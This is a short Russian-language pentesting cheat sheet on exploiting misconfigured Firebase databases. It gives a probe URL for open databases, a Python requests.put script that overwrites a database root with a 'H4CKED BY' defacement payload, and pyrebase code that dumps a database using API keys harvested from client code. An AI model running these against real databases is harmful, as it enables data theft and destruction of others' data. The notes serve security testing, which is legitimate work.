Firebase

Если ΠΊΡ€Π°Ρ‚ΠΊΠΎ

ΠŸΡ€ΠΎΠ±ΡƒΠ΅ΠΌ

https://<databasename>.firebaseio.com/.json

Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€

import requests
data= {"Exploit":"Successfull", "H4CKED BY": "zfr"}
reponse = requests.put("https://my-proj.firebaseio.com/.json", json=data)

Если ΠΏΠΎΡ‚ΠΎΠΌ Ρ‡Π΅Ρ€Π΅Π· Get смоТСм Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ β€” уязвимо: https://hackerone.com/reports/1065134

Firebase Database Takeover

ΠŸΡ€ΠΈΠΌΠ΅Ρ€ пСнтСста с ΠΏΠ»ΠΎΡ…ΠΎ сконфигурированной Π±Π°Π·ΠΎΠΉ - https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1

ΠŸΡ€ΠΈΠΌΠ΅Ρ€ поиска ΠΈ эксплуатации ΠΊΠ»ΡŽΡ‡Π΅ΠΉ Firebase

1 Π˜Ρ‰Π΅ΠΌ ΠΏΠΎ ΠΊΠΎΠ΄Ρƒ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ константы:

ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с firebase Π±Π°Π·ΠΎΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ pip install pyrebase

import pyrebase

config = {
  "apiKey": "FIREBASE_API_KEY",
  "authDomain": "FIREBASE_AUTH_DOMAIN_ID.firebaseapp.com",
  "databaseURL": "https://FIREBASE_AUTH_DOMAIN_ID.firebaseio.com",
  "storageBucket": "FIREBASE_AUTH_DOMAIN_ID.appspot.com",
}

firebase = pyrebase.initialize_app(config)

db = firebase.database()

print(db.get())

Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΠΎΡ‚Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ссли выставлСны permissions Π½Π° Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ для apiKey

Π’ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ pyrebase ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΏΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ с Firebase.

Last updated

Was this helpful?